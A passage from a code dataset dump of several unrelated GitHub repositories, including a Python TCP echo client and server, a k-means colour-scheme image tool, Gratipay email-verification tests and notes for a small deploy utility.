[ { "alpha_fraction": 0.6954314708709717, "alphanum_fraction": 0.7081218361854553, "avg_line_length": 37.39024353027344, "blob_id": "21bea8a792b3c3c92abc1168f6bcbd72e58b7ec6", "content_id": "30e04413c4a27686065310879a77084550b6c01e", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1576, "license_type": "no_license", "max_line_length": 66, "num_lines": 41, "path": "/tcp_server.py", "repo_name": "chill2711/Client-Socket-Communication--Python", "src_encoding": "UTF-8", "text": "#Description: Server side for TCP socket programming\n#Author: Coleman Hill\n#Date: September 28, 2021\nimport sys\nfrom socket import *\n#Creating the serverName or IP address\nserverName = \"localhost\"\n#Creating the port we will connect with\nserverPort = 12000\n#Creating socket\nserverSocket = socket(AF_INET,SOCK_STREAM)\n#Assigns IP address and port number to a sockets\nserverSocket.bind((serverName,serverPort))\n#Socket that will be used to accept incoming connection request\nserverSocket.listen(1)\n#Print statement saying the server is ready to receive\nprint(\"Server is ready to receive\")\n#continue looping\nwhile True:\n #waits for accept for incoming requests\n connectionSocket, clientAddress = serverSocket.accept()\n #read bytes from socket\n messageFromClientBytes = \"\"\n messageFromClientBytes = connectionSocket.recv(1024)\n\n while messageFromClientBytes != \"bye\":\n #print(messageFromClientBytes, \" from \", clientAddress)\n #print(messageFromClientBytes,\" from \",clientAddress)\n if bytes.decode(messageFromClientBytes) == \"bye\":\n #testing\n print(\"The client has quit.\")\n print(\"Connection socket is closed.\")\n connectionSocket.close()\n break\n #sys.exit()\n else:\n print(messageFromClientBytes, \" from \", clientAddress)\n messageToClientBytes = messageFromClientBytes.upper()\n #sending upper case message to client side\n connectionSocket.send(messageToClientBytes)\n messageFromClientBytes = connectionSocket.recv(1024)\n\n\n" }, { "alpha_fraction": 0.6648351550102234, "alphanum_fraction": 0.6766090989112854, "avg_line_length": 27.954545974731445, "blob_id": "3e602dab807d8727e8c38b44111c48c46707d92f", "content_id": "94cd00b2a2b9e731932c3d294897c75c5e3505a7", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1274, "license_type": "no_license", "max_line_length": 87, "num_lines": 44, "path": "/tcp_client.py", "repo_name": "chill2711/Client-Socket-Communication--Python", "src_encoding": "UTF-8", "text": "# Description: Client side for TCP socket programming\n# Author: Coleman Hill\n# Date: September 28, 2021\nimport sys\nfrom socket import *\n\n# Declaring host/IP address\nserverName = \"localhost\"\n# port for connection\nserverPort = 12000\n# Creating socket\nclientSocket = socket(AF_INET, SOCK_STREAM)\n\ntry:\n # Connecting socket\n clientSocket.connect((serverName, serverPort))\n # getting a message from the user\n message = \"\"\n #message = input(\"Enter a message: \")\n while message != \"bye\":\n message = input(\"Enter a message: \")\n # turning the string into bytes\n messageBytes = str.encode(message)\n # sending the message via socket\n clientSocket.send(messageBytes)\n # receiving message from server\n messageFromServerBytes = clientSocket.recv(1024)\n # printing the message and changing message from bytes to string\n print(bytes.decode(messageFromServerBytes), \" from \", (serverName, serverPort))\n\n if message == \"bye\":\n clientSocket.close()\n sys.exit()\n #clientSocket.close()\n# closing the socket\n#clientSocket.close()\nexcept gaierror as err:\n print(\"Invalid host\")\n print(err)\n # sys.exit()\n\nexcept OSError as err:\n print(\"Something went wrong\", err)\nclientSocket.close()\n" }, { "alpha_fraction": 0.80402010679245, "alphanum_fraction": 0.80402010679245, "avg_line_length": 98, "blob_id": "339a501b560b328fc8e305c4ba93da88e4776db2", "content_id": "bc29db665c438a1a308b1797af0862da97dd9074", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 199, "license_type": "no_license", "max_line_length": 159, "num_lines": 2, "path": "/README.md", "repo_name": "chill2711/Client-Socket-Communication--Python", "src_encoding": "UTF-8", "text": "# Client-Socket-Communication--Python\nThis program will have the client send messages to the server until the client says \"bye\". The server will respond with putting the message in capital letters. \n" } ]
3
customr/COLORSCHEME
https://github.com/customr/COLORSCHEME
5ec6b68c664d0c0311805a55aebe27a57a11e98e
0b5e2768c32c774d5bb3b63ad5a0eb16d8663e2e
48e40d346f8f49704006cf69efe872b772c5cff2
refs/heads/master
2020-06-11T13:38:19.561615
2019-12-23T16:08:31
2019-12-23T16:08:31
193,984,333
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.5701617002487183, "alphanum_fraction": 0.5894626975059509, "avg_line_length": 35.86538314819336, "blob_id": "ad7c322f160b514d6e02173f2767a7f2ce3925ec", "content_id": "b0766ce05b0087ab6a063d2cb9ac840d695258b2", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 7668, "license_type": "no_license", "max_line_length": 128, "num_lines": 208, "path": "/colorscheme/colorscheme.py", "repo_name": "customr/COLORSCHEME", "src_encoding": "UTF-8", "text": "import numpy as np\nimport matplotlib.pyplot as plt \nfrom cv2 import kmeans, KMEANS_RANDOM_CENTERS, TERM_CRITERIA_EPS, TERM_CRITERIA_MAX_ITER\nfrom PIL import Image\nfrom io import BytesIO\n\nclass Picture:\n \"\"\"A picture object\n Inputs image and makes a new image with color data on it.\n \n How it works:\n 1. Posterized image (with decreased colors range) fed to KMeans alghoritm\n 2. from KMeans we receiving most interesting colors\n 3. from this array taking k-colors and making a histogram\n\n Args:\n image_b (bytes): image in bytesIO representation\n k (int): count of colors\n \n Constants:\n PAD (bool): if True, makes white border on image, otherwise nothing\n MIN_H (int): minimal image height\n MIN_W (int): minimal image width\n\n Attributes:\n image (numpy.ndarray): sourse image\n image_posterized (numpy.ndarray): image with quantizated colors (decreased colors range)\n image_pil (PIL.Image): image in PIL representation\n label (numpy.ndarray): Picture.center counts\n center (numpy.ndarray): most wanted colors in RGB representation\n hist (numpy.ndarray): histogram of k most wanted colors\n \n \"\"\"\n PAD = True\n MIN_W = 1000\n MIN_H = 1000\n\n def __init__(self, image_b, k=6):\n self.image_pil = Image.open(BytesIO(image_b))\n self.image = np.array(self.image_pil)\n self.k = k\n\n #if image is less than minimal width and height\n if (self.image.shape[0] < self.MIN_W) or (self.image.shape[1] < self.MIN_H):\n\n #choose maximal proportion (where side less than minimal)\n p = max(self.MIN_W / self.image.shape[0], \n self.MIN_H / self.image.shape[1])\n\n #increase both sides by proportional multiplication\n self.image_pil = self.image_pil.resize((int(p*self.image.shape[1]), int(p*self.image.shape[0])), Image.LANCZOS)\n self.image = np.array(self.image_pil)\n\n #quantization - decrease colors range\n self.image_posterized = self.image_pil.quantize((self.k//2)*self.k**2, 1)\n self.image_posterized = self.image_posterized.convert(\"RGB\", palette=Image.ADAPTIVE, colors=self.k**3)\n self.image_posterized = np.array(self.image_posterized)\n\n \"\"\"\n KMeans:\n 1. create random centers of colors (centroids)\n 2. for each color assign nearest centroid (calculates as Euclidian distance)\n 3. move centroid to their new position (mean of assigned colors)\n 4. repeat stepts 2 and 3 until sum of distances is minimal\n \"\"\"\n _, self.label, self.center = kmeans(\n self.image_posterized.reshape(-1, 3).astype('float32'), \n self.k, \n None, \n (TERM_CRITERIA_EPS + TERM_CRITERIA_MAX_ITER, 10, 1), \n 0,\n KMEANS_RANDOM_CENTERS\n )\n\n self.hist = self.get_hist()\n\n if self.PAD:\n #making a white pad around the image\n pv = max(self.image_pil.width, self.image_pil.height)//85\n self.image_pil = Image.fromarray(np.pad(self.image_pil, ((pv,pv), (pv,pv), (0,0)), 'constant', constant_values=255))\n \n def get_hist(self):\n #makes histogram of found clusters and returns mostly frequent colors\n (hist, _) = np.histogram(self.label, bins=self.k)\n mask = np.argsort(hist)\n self.center = self.center.reshape(-1, 3)[mask]\n return hist[mask]\n\n #picture to the left of the form\n def __add__(self, form):\n assert isinstance(form, Form), 'Should be Form object'\n return form.__radd__(self)\n \n #picture over the form\n def __radd__(self, form):\n assert isinstance(form, Form), 'Should be Form object'\n return form.__add__(self)\n\n\nclass Form:\n \"\"\"A form object\n Only for work with Picture\n\n Args:\n flag (bool): for ultra wide (0) or ultra tall (1)\n **params:\n w,h, r,c, an1,an2, bb, loc - better you don't touch this, because there is no meaning :)\n\n \"\"\"\n def __init__(self, flag, **params):\n self.flag = flag\n self.params = params\n\n def create_form(self, image, colors, hist):\n \"\"\"Create form and insert image into it\n \n Args:\n image (Image): image to insert into form\n colors (numpy.ndarray): Picture.center\n hist (numpy.ndarray): Picture.hist\n\n Returns:\n PIL.Image - form with a picture\n\n \"\"\"\n fig = plt.figure()\n fig.set_size_inches(self.params['w'], self.params['h'])\n\n ax1 = plt.subplot(self.params['r'], self.params['c'], 2, aspect=\"equal\", anchor=self.params['an2'])\n ax2 = plt.subplot(self.params['r'], self.params['c'], 1, aspect=\"equal\", anchor=self.params['an1'])\n\n hex_colors = np.array(['#{:02X}{:02X}{:02X}'.format(x[0],x[1],x[2]) for x in colors.astype('uint8')])\n wedges, _ = ax1.pie(hist, colors=hex_colors, startangle=90, radius=1.25)\n ax1.legend(wedges, hex_colors, loc=self.params['loc'], bbox_to_anchor=self.params['bb'], fontsize=90+self.flag*20, \n labelspacing=0.75 + 0.25*self.flag*((len(hist)-hist.size) / (len(hist)*2)))\n\n ax2.imshow(image)\n ax2.axis('off')\n \n plt.tight_layout()\n fig.canvas.draw()\n w, h = fig.canvas.get_width_height()\n buf = np.frombuffer(fig.canvas.tostring_rgb(), dtype=np.uint8).reshape(w, h, 3)\n plt.close()\n\n return Image.frombytes(\"RGB\", (w, h), buf.tostring())\n\n #picture to the left of the form\n def __radd__(self, pic):\n assert isinstance(pic, Picture), 'Should be Picture object'\n\n self.figure = self.create_form(\n pic.image_posterized, \n pic.center, \n pic.hist\n )\n\n w1, h1 = pic.image_pil.width, pic.image_pil.height\n w2, h2 = self.figure.width, self.figure.height\n\n if h1<h2: self.figure = self.figure.resize((int(w2*(h1/h2)), h1), Image.LANCZOS)\n if h1>h2: pic.image_pil = pic.image_pil.resize((int(w1*(h2/h1)), h2), Image.LANCZOS)\n\n return Image.fromarray(np.hstack((np.asarray(pic.image_pil), np.asarray(self.figure))))\n \n #picture over the form\n def __add__(self, pic):\n assert isinstance(pic, Picture), 'Should be Picture object'\n\n self.figure = self.create_form(\n pic.image_posterized, \n pic.center, \n pic.hist\n )\n \n w1, h1 = pic.image_pil.width, pic.image_pil.height\n w2, h2 = self.figure.width, self.figure.height\n\n if w1<w2: self.figure = self.figure.resize((w1, int(h2*(w1/w2))), Image.LANCZOS)\n if w1>w2: pic.image_pil = pic.image_pil.resize((w2, int(h1*(w2/w1))), Image.LANCZOS)\n\n return Image.fromarray(np.vstack((np.asarray(pic.image_pil), np.asarray(self.figure))))\n\ndef colorscheme(imgb):\n \"\"\"Managing Form and Picture\n\n Args:\n imgb (bytes): image in bytes\n\n Returns:\n result - image in bytes\n \n \"\"\"\n image = Picture(imgb)\n result = None\n\n if (image.image_pil.width-image.image_pil.height) > (image.image_pil.width+image.image_pil.height)/10: \n form = Form(flag=0, w=50, h=15, r=1, c=2, an1='C', an2='W', bb=(1,0,-0.5,1), loc=\"center left\")\n ans = form + image\n else: \n form = Form(flag=1, w=15, h=50, r=2, c=1, an1='S', an2='N', bb=(0.5,1), loc='lower center')\n ans = image + form\n\n with BytesIO() as output:\n ans.save(output, 'BMP')\n result = output.getvalue()\n\n return result\n" }, { "alpha_fraction": 0.7020602226257324, "alphanum_fraction": 0.7480190396308899, "avg_line_length": 29.095237731933594, "blob_id": "8f84e1117f59195223ac8174c883c50c993309c6", "content_id": "dcb837eb8e2b6716fc93999a675f2ab34a6b39eb", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 631, "license_type": "no_license", "max_line_length": 116, "num_lines": 21, "path": "/README.md", "repo_name": "customr/COLORSCHEME", "src_encoding": "UTF-8", "text": "# COLORSCHEME\n\n## Getting Started\n\nThis is my project for community group [COLORSCHEME](https://vk.com/nnovosch).\nIt was created to increase my level of Python knowledge and maybe for inspiration of designers.\n![alt text](https://sun9-56.userapi.com/c846417/v846417732/181186/Sr1HcOMpEOQ.jpg)\n\n## How it works\n\n* Image fed to input\n* Quantization happens (decrease quantity of colors)\n* Quantizated colors fed to KMean alghoritm (read about it [HERE](https://en.wikipedia.org/wiki/K-means_clustering))\n* KMean returns colors and its frequency\n* ...**Many graphical interface procedures**\n\n## Authors\n\n* **Maxim Shipitsin**\n* **Egor Sivokhin**\n2018" }, { "alpha_fraction": 0.914893627166748, "alphanum_fraction": 0.914893627166748, "avg_line_length": 47, "blob_id": "11b884f0c4ce31f5335cb1d22eed6a8f214e0125", "content_id": "5df1f283ef3bdeb573986053ab22331569f93775", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 47, "license_type": "no_license", "max_line_length": 47, "num_lines": 1, "path": "/colorscheme/__init__.py", "repo_name": "customr/COLORSCHEME", "src_encoding": "UTF-8", "text": "from colorscheme.colorscheme import colorscheme" }, { "alpha_fraction": 0.7669376730918884, "alphanum_fraction": 0.8102980852127075, "avg_line_length": 25.428571701049805, "blob_id": "718bfc86a4f0baf94b86c5943b3d1814f2c1b0a2", "content_id": "858b837640964c94eade7d6c58bf512f3ae14bb0", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 369, "license_type": "no_license", "max_line_length": 115, "num_lines": 14, "path": "/run.py", "repo_name": "customr/COLORSCHEME", "src_encoding": "UTF-8", "text": "import requests\nimport numpy as np\nimport matplotlib.pyplot as plt \nfrom PIL import Image\nfrom io import BytesIO\n\nimport colorscheme\n\n\nTEST = 'https://encrypted-tbn0.gstatic.com/images?q=tbn:ANd9GcT1i6jN4Lj2kP2glv4vD3p16chAH6q-V9JpeHYd6URd9-GyoM7reg'\n\ntest = colorscheme.colorscheme(requests.get(TEST).content)\nplt.imshow(np.array(Image.open(BytesIO(test))))\nplt.show()" } ]
4
najibalghaeth/gratipay.com
https://github.com/najibalghaeth/gratipay.com
b69fe82d69969209d440be80b12e67f3442a7378
0f9fd0c6fe3df00b5a629ae5eed3728532353f48
c12cbc9421447f7a712fb7e19a7982bb10fb96eb
refs/heads/master
2021-01-11T20:55:14.653380
2017-01-16T21:07:05
2017-01-16T21:07:05
79,212,233
1
0
null
2017-01-17T09:40:23
2017-01-17T09:40:18
2017-01-16T23:25:32
null
[ { "alpha_fraction": 0.6078545451164246, "alphanum_fraction": 0.61277174949646, "avg_line_length": 39.88888931274414, "blob_id": "ee025a08cb3b0fe9f4e7ad060d3e1d402a20dbde", "content_id": "b64971d3034306b4c86dd94d11b88cbef2ae0132", "detected_licenses": [ "CC0-1.0", "LicenseRef-scancode-public-domain", "LicenseRef-scancode-unknown-license-reference" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 15456, "license_type": "permissive", "max_line_length": 97, "num_lines": 378, "path": "/tests/py/test_email.py", "repo_name": "najibalghaeth/gratipay.com", "src_encoding": "UTF-8", "text": "from __future__ import absolute_import, division, print_function, unicode_literals\n\nimport json\nimport sys\nimport time\n\nfrom gratipay.exceptions import CannotRemovePrimaryEmail, EmailAlreadyTaken, EmailNotVerified\nfrom gratipay.exceptions import TooManyEmailAddresses, ResendingTooFast\nfrom gratipay.testing import P\nfrom gratipay.testing.emails import EmailHarness\nfrom gratipay.models.participant import Participant\nfrom gratipay.utils import emails, encode_for_querystring\nfrom gratipay.utils.emails import queue_branch_email as _queue_branch_email\n\n\nclass TestEmail(EmailHarness):\n\n def setUp(self):\n EmailHarness.setUp(self)\n self.alice = self.make_participant('alice', claimed_time='now')\n self._old_threshold = self.client.website.env.resend_verification_threshold\n self.client.website.env.resend_verification_threshold = '0 seconds'\n\n def tearDown(self):\n self.client.website.env.resend_verification_threshold = self._old_threshold\n\n def hit_email_spt(self, action, address, user='alice', should_fail=False):\n f = self.client.PxST if should_fail else self.client.POST\n data = {'action': action, 'address': address}\n headers = {b'HTTP_ACCEPT_LANGUAGE': b'en'}\n return f('/~alice/emails/modify.json', data, auth_as=user, **headers)\n\n def verify_email(self, email, nonce, username='alice', should_fail=False):\n # Email address is encoded in url.\n url = '/~%s/emails/verify.html?email2=%s&nonce=%s'\n url %= (username, encode_for_querystring(email), nonce)\n f = self.client.GxT if should_fail else self.client.GET\n return f(url, auth_as=username)\n\n def verify_and_change_email(self, old_email, new_email, username='alice'):\n self.hit_email_spt('add-email', old_email)\n nonce = P(username).get_email(old_email).nonce\n self.verify_email(old_email, nonce)\n self.hit_email_spt('add-email', new_email)\n\n def test_participant_can_add_email(self):\n response = self.hit_email_spt('add-email', '[email protected]')\n actual = json.loads(response.body)\n assert actual\n\n def test_adding_email_sends_verification_email(self):\n self.hit_email_spt('add-email', '[email protected]')\n assert self.mailer.call_count == 1\n last_email = self.get_last_email()\n assert last_email['to'] == 'alice <[email protected]>'\n expected = \"We've received a request to connect [email protected] to the alice account on Gratipay\"\n assert expected in last_email['body_text']\n\n def test_email_address_is_encoded_in_sent_verification_link(self):\n address = '[email protected]'\n encoded = encode_for_querystring(address)\n self.hit_email_spt('add-email', address)\n last_email = self.get_last_email()\n assert \"~alice/emails/verify.html?email2=\"+encoded in last_email['body_text']\n\n def test_verification_email_doesnt_contain_unsubscribe(self):\n self.hit_email_spt('add-email', '[email protected]')\n last_email = self.get_last_email()\n assert \"To stop receiving\" not in last_email['body_text']\n\n def test_adding_second_email_sends_verification_notice(self):\n self.verify_and_change_email('[email protected]', '[email protected]')\n assert self.mailer.call_count == 3\n last_email = self.get_last_email()\n assert last_email['to'] == 'alice <[email protected]>'\n expected = \"We are connecting [email protected] to the alice account on Gratipay\"\n assert expected in last_email['body_text']\n\n def test_post_anon_returns_401(self):\n response = self.hit_email_spt('add-email', '[email protected]', user=None, should_fail=True)\n assert response.code == 401\n\n def test_post_with_no_at_symbol_is_400(self):\n response = self.hit_email_spt('add-email', 'gratipay.com', should_fail=True)\n assert response.code == 400\n\n def test_post_with_no_period_symbol_is_400(self):\n response = self.hit_email_spt('add-email', 'test@gratipay', should_fail=True)\n assert response.code == 400\n\n def test_verify_email_without_adding_email(self):\n response = self.verify_email('', 'sample-nonce')\n assert 'Missing Info' in response.body\n\n def test_verify_email_wrong_nonce(self):\n self.hit_email_spt('add-email', '[email protected]')\n nonce = 'fake-nonce'\n r = self.alice.verify_email('[email protected]', nonce)\n assert r == emails.VERIFICATION_FAILED\n self.verify_email('[email protected]', nonce)\n expected = None\n actual = P('alice').email_address\n assert expected == actual\n\n def test_verify_email_a_second_time_returns_redundant(self):\n address = '[email protected]'\n self.hit_email_spt('add-email', address)\n nonce = self.alice.get_email(address).nonce\n r = self.alice.verify_email(address, nonce)\n r = self.alice.verify_email(address, nonce)\n assert r == emails.VERIFICATION_REDUNDANT\n\n def test_verify_email_expired_nonce(self):\n address = '[email protected]'\n self.hit_email_spt('add-email', address)\n self.db.run(\"\"\"\n UPDATE emails\n SET verification_start = (now() - INTERVAL '25 hours')\n WHERE participant_id = %s;\n \"\"\", (self.alice.id,))\n nonce = self.alice.get_email(address).nonce\n r = self.alice.verify_email(address, nonce)\n assert r == emails.VERIFICATION_EXPIRED\n actual = P('alice').email_address\n assert actual == None\n\n def test_verify_email(self):\n self.hit_email_spt('add-email', '[email protected]')\n nonce = self.alice.get_email('[email protected]').nonce\n self.verify_email('[email protected]', nonce)\n expected = '[email protected]'\n actual = P('alice').email_address\n assert expected == actual\n\n def test_email_verification_is_backwards_compatible(self):\n \"\"\"Test email verification still works with unencoded email in verification link.\n \"\"\"\n self.hit_email_spt('add-email', '[email protected]')\n nonce = self.alice.get_email('[email protected]').nonce\n url = '/~alice/emails/[email protected]&nonce='+nonce\n self.client.GET(url, auth_as='alice')\n expected = '[email protected]'\n actual = P('alice').email_address\n assert expected == actual\n\n def test_verified_email_is_not_changed_after_update(self):\n self.verify_and_change_email('[email protected]', '[email protected]')\n expected = '[email protected]'\n actual = P('alice').email_address\n assert expected == actual\n\n def test_get_emails(self):\n self.verify_and_change_email('[email protected]', '[email protected]')\n emails = self.alice.get_emails()\n assert len(emails) == 2\n\n def test_verify_email_after_update(self):\n self.verify_and_change_email('[email protected]', '[email protected]')\n nonce = self.alice.get_email('[email protected]').nonce\n self.verify_email('[email protected]', nonce)\n expected = '[email protected]'\n actual = P('alice').email_address\n assert expected == actual\n\n def test_nonce_is_reused_when_resending_email(self):\n self.hit_email_spt('add-email', '[email protected]')\n nonce1 = self.alice.get_email('[email protected]').nonce\n self.hit_email_spt('resend', '[email protected]')\n nonce2 = self.alice.get_email('[email protected]').nonce\n assert nonce1 == nonce2\n\n def test_cannot_update_email_to_already_verified(self):\n bob = self.make_participant('bob', claimed_time='now')\n self.alice.add_email('[email protected]')\n nonce = self.alice.get_email('[email protected]').nonce\n r = self.alice.verify_email('[email protected]', nonce)\n assert r == emails.VERIFICATION_SUCCEEDED\n\n with self.assertRaises(EmailAlreadyTaken):\n bob.add_email('[email protected]')\n nonce = bob.get_email('[email protected]').nonce\n bob.verify_email('[email protected]', nonce)\n\n email_alice = P('alice').email_address\n assert email_alice == '[email protected]'\n\n def test_cannot_add_too_many_emails(self):\n self.alice.add_email('[email protected]')\n self.alice.add_email('[email protected]')\n self.alice.add_email('[email protected]')\n self.alice.add_email('[email protected]')\n self.alice.add_email('[email protected]')\n self.alice.add_email('[email protected]')\n self.alice.add_email('[email protected]')\n self.alice.add_email('[email protected]')\n self.alice.add_email('[email protected]')\n self.alice.add_email('[email protected]')\n with self.assertRaises(TooManyEmailAddresses):\n self.alice.add_email('[email protected]')\n\n def test_cannot_resend_verification_too_frequently(self):\n self.alice.add_email('[email protected]')\n time.sleep(0.05)\n with self.assertRaises(ResendingTooFast):\n self.alice.add_email('[email protected]', '0.1 seconds')\n\n def test_can_resend_verification_after_a_while(self):\n self.alice.add_email('[email protected]')\n time.sleep(0.15)\n self.alice.add_email('[email protected]', '0.1 seconds')\n\n def test_emails_page_shows_emails(self):\n self.verify_and_change_email('[email protected]', '[email protected]')\n body = self.client.GET(\"/~alice/emails/\", auth_as=\"alice\").body\n assert '[email protected]' in body\n assert '[email protected]' in body\n\n def test_set_primary(self):\n self.verify_and_change_email('[email protected]', '[email protected]')\n self.verify_and_change_email('[email protected]', '[email protected]')\n self.hit_email_spt('set-primary', '[email protected]')\n\n def test_cannot_set_primary_to_unverified(self):\n with self.assertRaises(EmailNotVerified):\n self.hit_email_spt('set-primary', '[email protected]')\n\n def test_remove_email(self):\n # Can remove unverified\n self.hit_email_spt('add-email', '[email protected]')\n self.hit_email_spt('remove', '[email protected]')\n\n # Can remove verified\n self.verify_and_change_email('[email protected]', '[email protected]')\n self.verify_and_change_email('[email protected]', '[email protected]')\n self.hit_email_spt('remove', '[email protected]')\n\n # Cannot remove primary\n with self.assertRaises(CannotRemovePrimaryEmail):\n self.hit_email_spt('remove', '[email protected]')\n\n def test_html_escaping(self):\n self.alice.add_email(\"foo'[email protected]\")\n last_email = self.get_last_email()\n assert 'foo&#39;bar' in last_email['body_html']\n assert '&#39;' not in last_email['body_text']\n\n def test_can_dequeue_an_email(self):\n larry = self.make_participant('larry', email_address='[email protected]')\n larry.queue_email(\"verification\")\n\n assert self.db.one(\"SELECT spt_name FROM email_queue\") == \"verification\"\n Participant.dequeue_emails()\n assert self.mailer.call_count == 1\n last_email = self.get_last_email()\n assert last_email['to'] == 'larry <[email protected]>'\n expected = \"connect larry\"\n assert expected in last_email['body_text']\n assert self.db.one(\"SELECT spt_name FROM email_queue\") is None\n\n def test_dequeueing_an_email_without_address_just_skips_it(self):\n larry = self.make_participant('larry')\n larry.queue_email(\"verification\")\n\n assert self.db.one(\"SELECT spt_name FROM email_queue\") == \"verification\"\n Participant.dequeue_emails()\n assert self.mailer.call_count == 0\n assert self.db.one(\"SELECT spt_name FROM email_queue\") is None\n\n\ndef queue_branch_email(username, _argv=None, _input=None, _print=None):\n _argv = ['', username] if _argv is None else _argv\n _input = _input or (lambda prompt: 'y')\n stdout, stderr = [], []\n def _print(string, file=None):\n buf = stderr if file is sys.stderr else stdout\n buf.append(str(string))\n _print = _print or (lambda *a, **kw: None)\n try:\n _queue_branch_email.main(_argv, _input, _print)\n except SystemExit as exc:\n retcode = exc.args[0]\n else:\n retcode = 0\n return retcode, stdout, stderr\n\n\nclass QueueHarness(EmailHarness):\n\n def make_participant_with_exchange(self, name):\n participant = self.make_participant( name\n , claimed_time='now'\n , email_address=name+'@example.com'\n )\n self.make_exchange('braintree-cc', 50, 0, participant)\n return participant\n\n\nclass TestGetRecentlyActiveParticipants(QueueHarness):\n\n def check(self):\n return _queue_branch_email.get_recently_active_participants(self.db)\n\n def test_gets_recently_active_participants(self):\n alice = self.make_participant_with_exchange('alice')\n assert self.check() == [alice]\n\n def test_ignores_participants_with_no_exchanges(self):\n self.make_participant('alice', claimed_time='now', email_address='[email protected]')\n assert self.check() == []\n\n def test_ignores_participants_with_no_recent_exchanges(self):\n self.make_participant_with_exchange('alice')\n self.db.run(\"UPDATE exchanges SET timestamp = timestamp - '181 days'::interval\")\n assert self.check() == []\n\n def test_keeps_participants_straight(self):\n alice = self.make_participant_with_exchange('alice')\n bob = self.make_participant_with_exchange('bob')\n self.make_participant_with_exchange('carl')\n self.db.run(\"UPDATE exchanges SET timestamp = timestamp - '181 days'::interval \"\n \"WHERE participant='carl'\")\n self.make_participant('dana', claimed_time='now', email_address='[email protected]')\n assert self.check() == [alice, bob]\n\n\nclass TestQueueBranchEmail(QueueHarness):\n\n def nsent(self):\n Participant.dequeue_emails()\n return self.mailer.call_count\n\n def test_is_fine_with_no_participants(self):\n retcode, output, errors = queue_branch_email('all')\n assert retcode == 0\n assert output == ['Okay, you asked for it!', '0']\n assert errors == []\n assert self.nsent() == 0\n\n def test_queues_for_one_participant(self):\n alice = self.make_participant_with_exchange('alice')\n retcode, output, errors = queue_branch_email('all')\n assert retcode == 0\n assert output == [ 'Okay, you asked for it!'\n , '1'\n , 'spotcheck: [email protected] (alice={})'.format(alice.id)\n ]\n assert errors == [' 1 queuing for [email protected] (alice={})'.format(alice.id)]\n assert self.nsent() == 1\n\n def test_queues_for_two_participants(self):\n alice = self.make_participant_with_exchange('alice')\n bob = self.make_participant_with_exchange('bob')\n retcode, output, errors = queue_branch_email('all')\n assert retcode == 0\n assert output[:2] == ['Okay, you asked for it!', '2']\n assert errors == [ ' 1 queuing for [email protected] (alice={})'.format(alice.id)\n , ' 2 queuing for [email protected] (bob={})'.format(bob.id)\n ]\n assert self.nsent() == 2\n\n def test_constrains_to_one_participant(self):\n self.make_participant_with_exchange('alice')\n bob = self.make_participant_with_exchange('bob')\n retcode, output, errors = queue_branch_email('bob')\n assert retcode == 0\n assert output == [ 'Okay, just bob.'\n , '1'\n , 'spotcheck: [email protected] (bob={})'.format(bob.id)\n ]\n assert errors == [' 1 queuing for [email protected] (bob={})'.format(bob.id)]\n assert self.nsent() == 1\n\n def test_bails_if_told_to(self):\n retcode, output, errors = queue_branch_email('all', _input=lambda prompt: 'n')\n assert retcode == 1\n assert output == []\n assert errors == []\n assert self.nsent() == 0\n" }, { "alpha_fraction": 0.800000011920929, "alphanum_fraction": 0.800000011920929, "avg_line_length": 45.42856979370117, "blob_id": "5804fe534343b92d037d1b18b680fe7881c5b3c1", "content_id": "e7635c01d26d3da3162e7d4c41cf7823194a4810", "detected_licenses": [ "CC0-1.0", "LicenseRef-scancode-public-domain", "LicenseRef-scancode-unknown-license-reference" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 325, "license_type": "permissive", "max_line_length": 73, "num_lines": 7, "path": "/gratipay/models/team/mixins/__init__.py", "repo_name": "najibalghaeth/gratipay.com", "src_encoding": "UTF-8", "text": "from .available import AvailableMixin as Available\nfrom .closing import ClosingMixin as Closing\nfrom .membership import MembershipMixin as Membership\nfrom .takes import TakesMixin as Takes\nfrom .tip_migration import TipMigrationMixin as TipMigration\n\n__all__ = ['Available', 'Closing', 'Membership', 'Takes', 'TipMigration']\n" } ]
2
toalaska/deploy
https://github.com/toalaska/deploy
f4723661e1812428b4e7ece17ef201c1c4cd6061
d5b1f25bd77b6774d60fc4a21ef9882d0aff16c1
54db488bd11193857d9a87d3bf19183a05e596f2
refs/heads/master
2020-03-24T04:52:22.001807
2018-07-28T10:21:20
2018-07-28T10:21:20
142,467,527
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.7674418687820435, "alphanum_fraction": 0.7674418687820435, "avg_line_length": 6.166666507720947, "blob_id": "b83f165cc11560651cc045ad589f8927f02113a1", "content_id": "1a460cf633c94cc8cc31e31df00b921bb19f0db8", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 93, "license_type": "no_license", "max_line_length": 10, "num_lines": 6, "path": "/README.md", "repo_name": "toalaska/deploy", "src_encoding": "UTF-8", "text": "一个方便的部署工具\n\n目前支持以下部署目标\n\n- 阿里云oss\n- linux服务器\n" }, { "alpha_fraction": 0.8260869383811951, "alphanum_fraction": 0.8260869383811951, "avg_line_length": 22.25, "blob_id": "402fd13fbf2b9ad67bc7aa7f75d4ec210abe8967", "content_id": "ccb3eaae984a05934e2e468d1dc05877fac804b0", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 102, "license_type": "no_license", "max_line_length": 33, "num_lines": 4, "path": "/doc/开发测试.md", "repo_name": "toalaska/deploy", "src_encoding": "UTF-8", "text": "修改setup.py版本号\npython setup.py register\npython setup.py sdist bdist_wheel\ntwine upload dist/*" }, { "alpha_fraction": 0.6246973276138306, "alphanum_fraction": 0.629539966583252, "avg_line_length": 33.45833206176758, "blob_id": "fa5ab0fd1186f5dfc5d3a4ab08b9a0e9009a4dd3", "content_id": "f97e0236e7a12d11bdb46a0dabf5c322790baf08", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 894, "license_type": "no_license", "max_line_length": 75, "num_lines": 24, "path": "/setup.py", "repo_name": 